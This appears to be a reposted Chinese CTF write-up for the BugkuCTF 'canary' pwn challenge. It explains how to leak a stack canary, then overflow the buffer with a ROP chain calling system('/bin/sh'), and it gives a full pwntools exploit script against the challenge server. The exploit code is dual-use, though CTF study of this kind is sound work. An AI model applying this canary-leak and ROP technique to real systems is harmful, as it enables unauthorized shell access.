BugkuCTF-PWN题canary超详细讲解
知識點(diǎn)
小端序說明,數(shù)據(jù)在內(nèi)存里是如何存儲的?下表里數(shù)據(jù)都為16進(jìn)制
解題流程
題目Hint:更新 LibcSeacher 的 libc-database
checksec查看保護(hù)機(jī)制
存在Canary和NX。
0x28=40
0x10=16
0x29=41
0x300=768
0x2C=44
buf長度為48,而read讀取長度為768
v5長度為520,而read讀取長度為768
所以存在棧溢出漏洞
注意關(guān)注以下兩條語句
.text:000000000040082C mov rax, fs:28h
.text:0000000000400835 mov [rbp+var_8], rax
canary存在rbp+var_8,可以在0x40082C下斷點(diǎn),觀察下。
輸入n可以看到,rax寄存器的值變?yōu)榱薘AX 0xeb3ebba93e8f0500
可以觀察,隨后會把rax的值放在rbp-8的位置
把canary這個(gè)值存內(nèi)存里是這個(gè)樣子的
所以現(xiàn)在的思路是首先依據(jù)第一次回顯泄露canary的值,第二次通過利用泄露的canary值實(shí)現(xiàn)棧溢出。
64位程序優(yōu)先通過寄存器rdi傳參,所以先找pop rdi
這里還缺/bin/sh,利用ROPgadget --binary pwn4_canary --string “/bin/sh”
將"/bin/sh"作為參數(shù)傳給system函數(shù),然后調(diào)用
exp
from pwn import * #sh = process('./pwn4_') #context.log_level = 'debug' sh = remote('114.67.246.176',11788)sh.recvuntil('Please leave your name(Within 36 Length)')payload1 = 'a' * 568 sh.sendline(payload1) sh.recvuntil('a' * 568 + '\n') #canary = u64(sh.recv(8)) - 0xa canary = u64(b'\x00' + sh.recv(7)) log.info('canary: ' + hex(canary))sh.recvuntil('Please leave a message(Within 0x200 Length)') pop_rdi_ret = 0x0000000000400963 system_addr = 0x400660 binsh_addr = 0x0000000000601068payload2 = b'a' * 520 + p64(canary) + p64(1) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr) sh.send(payload2) sh.interactive()運(yùn)行:
總結(jié)
以上是生活随笔為你收集整理的BugkuCTF-PWN题canary超详细讲解的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 如何判断一个点在任意四边形内
- 下一篇: jq之val()